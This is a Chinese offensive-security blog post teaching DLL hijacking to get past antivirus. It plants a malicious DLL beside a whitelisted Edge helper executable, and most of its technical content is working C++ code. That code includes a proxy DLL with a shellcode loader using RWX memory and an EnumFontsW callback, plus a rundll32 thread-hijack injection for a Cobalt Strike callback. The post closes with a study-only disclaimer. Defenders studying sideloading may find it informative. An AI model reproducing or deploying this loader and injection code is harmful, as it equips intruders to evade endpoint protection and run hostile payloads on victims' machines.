『免杀系列』DLL劫持
日期:2024/08/15
作者:Corl
介绍:DLL劫持挖掘。
0x00 前言
白加黑的方式(DLL劫持)可以对抗360核晶,白就是此文件在杀软的白名单中,不会被杀软查杀,黑就是我们自己编写的带恶意代码的dll文件,那么怎么进行白加黑的挖掘呢?
0x01 DLL劫持原理
首先来理解DLL在Windows系统中的作用,DLL全称Dynamic Link Library,称为动态链接库,在Windows系统中,大多数程序并不是一个单独的可执行文件,而是有一些单独的存放动态链接库在系统中,当需要某些功能时,通过DLL执行相应的功能,即DLL调用。
那么既然程序执行某些功能时,可能会通过DLL调用,从利用角度来看,如果替换了这个DLL文件,或则导出了原DLL的导出函数并恶意构造,在原程序运行时调用了我们预先构造好的恶意DLL,那么就达到了劫持的效果。
0x02 DLL加载顺序
Windows 7之后:微软为了更进一步的防御系统的DLL被劫持,将一些容易被劫持的系统DLL写进了一个注册表项中,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用。KnownDLLs列表,注册表查询如下:
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs"

加载顺序:
1.EXE所在目录2.当前目录3.系统目录(C:\Windows\System32目录)4.Windows目录(C:\Windows)5.环境变量PATH所包含的目录
0x03 Dll劫持挖掘
首先,把想要劫持的exe拖到一个空的文件夹中。如果想查看所加载的dll,最简单的方法就是直接去双击exe,如果缺少dll,那么就会进行弹框提示,但是这种方法并不可以找到全部所加载的dll文件。双击运行identity_helper.exe,会提示找不到msedge_elf.dll。
第二种方法就是使用process Monitor Filter,该工具可以看到运行该exe所加载的全部dll文件。运行process Monitor Filter工具,添加过滤条件。
对identity_helper.exe进程进行监控,重点关注程序所在目录的dll,可以看见缺少msedge_elf.dll、dbghelp.dll、WINMM.dll。
使用CFF Explorer工具,打开identity_helper.exe,查看文件位数以及导入目录。这里以劫持msedge_elf.dll为例,点击msedge_elf.dll就可以看到该dll存在GetInstallDetailsPayload、SignalInitializeCrashReporting导出函数。
自定义GetInstallDetailsPayload、SignalInitializeCrashReporting函数。
extern "C" __declspec(dllexport) void GetInstallDetailsPayload(){}extern "C" __declspec(dllexport) void SignalInitializeCrashReporting() {}
使用MessageBox进行弹框,看看该exe是否使用了该函数,如果使用了该函数,那么程序运行的时候就会弹框。分别在GetInstallDetailsPayload、SignalInitializeCrashReporting、dllmain中添加。
MessageBox(NULL, TEXT("1"), TEXT("1"), MB_OK);MessageBox(NULL, TEXT("1"), TEXT("2"), MB_OK);MessageBox(NULL, TEXT("1"), TEXT("3"), MB_OK);
代码如下:
// dllmain.cpp : 定义 DLL 应用程序的入口点。 extern "C" __declspec(dllexport) void GetInstallDetailsPayload(){ MessageBox(NULL, TEXT("1"), TEXT("1"), MB_OK);} extern "C" __declspec(dllexport) void SignalInitializeCrashReporting() { MessageBox(NULL, TEXT("1"), TEXT("2"), MB_OK);} BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { MessageBox(NULL, TEXT("1"), TEXT("3"), MB_OK); } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}
可以看出首先运行的是dllmain中的,然后再是GetInstallDetailsPayload,其次是SignalInitializeCrashReporting。


既然在dllmain和GetInstallDetailsPayload、SignalInitializeCrashReporting中都会执行,首先在dllmain中添加恶意代码,进行上线测试。
unsigned char payload[] = {shellcode}; void* p = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(p, payload, sizeof(payload)); EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)p, NULL);
双击运行identity_helper.exe,可见identity_helper.exe已经在运行中了。
但是cs并没有上线,为啥呢???
因为dllmain存在死锁问题,那么怎么解决dllmain死锁问题呢,就是使用导出函数上线。
把恶意代码复制进GetInstallDetailsPayload函数中,运行identity_helper.exe成功上线。
完整代码:
// dllmain.cpp : 定义 DLL 应用程序的入口点。 extern "C" __declspec(dllexport) void GetInstallDetailsPayload() { unsigned char payload[] = {shellcode}; void* p = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(p, payload, sizeof(payload)); EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)p, NULL);} extern "C" __declspec(dllexport) void SignalInitializeCrashReporting() {} BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: {} case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}
那么,除了使用导出函数上线,dllmain就没有办法上线了吗???
这肯定不是的,如果要想使用dllmain进行上线,可以使用进程注入或线程劫持的方式上线,但都不是在原进程上线。这里采用线程劫持的方式上线的方式上线,x64劫持的就是rip,x86劫持的就是eip,劫持的进程为rundll32。
// dllmain.cpp : 定义 DLL 应用程序的入口点。 extern "C" __declspec(dllexport) void GetInstallDetailsPayload() {} extern "C" __declspec(dllexport) void SignalInitializeCrashReporting() {}unsigned char payload[] = {shellcode};SIZE_T payload_len = sizeof(payload); BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { STARTUPINFOA si = { 0 }; si.cb = sizeof(si); PROCESS_INFORMATION pi = { 0 }; CreateProcessA(NULL, (LPSTR)"rundll32", NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi); SuspendThread(pi.hThread); LPVOID Buffer = VirtualAllocEx(pi.hProcess, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess, Buffer, payload, payload_len, NULL); CONTEXT ctx = { 0 }; ctx.ContextFlags = CONTEXT_ALL; GetThreadContext(pi.hThread, &ctx); ctx.Rip = (DWORD64)Buffer; SetThreadContext(pi.hThread, &ctx); ResumeThread(pi.hThread); } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}

0x04 总结
DLL劫持上线分为两种,一种是dllmain上线,但是会存在死锁问题,要想在dllmain上线,可以使用进程注入或线程劫持的方式,另一种就是导出函数上线。除了手动去进行挖掘DLL劫持,那么还可以尝试使用工具去进行挖掘,最后祝大家挖到好用的白加黑。
文章来源:宸极实验室
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END
华盟君